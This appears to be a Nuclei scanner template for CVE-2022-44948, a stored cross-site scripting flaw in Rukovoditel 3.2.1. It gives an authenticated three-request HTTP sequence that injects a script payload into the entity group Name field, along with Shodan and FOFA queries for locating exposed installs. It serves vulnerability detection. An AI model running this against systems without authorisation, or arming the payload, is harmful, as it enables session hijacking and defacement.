Rukovoditel <= 3.2.1 - Cross-Site Scripting

id: CVE-2022-44948

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Entities Group feature at/index.php?module=entities/entities_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/8
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44948
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44948
    cwe-id: CWE-79
    epss-score: 0.00091
    epss-percentile: 0.39059
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,xss,stored-xss,authenticated

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/entities_groups&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a004730450221008d6f322953dacdad93f04bc1381201d8bfdeb9c2d04cd3c3546f389ce84505c702204b9d95f0912ea15c7f120e0858c15494e70113915191df198bf56fc3d167bb8a:922c64590222798bb761d5b6d8e72950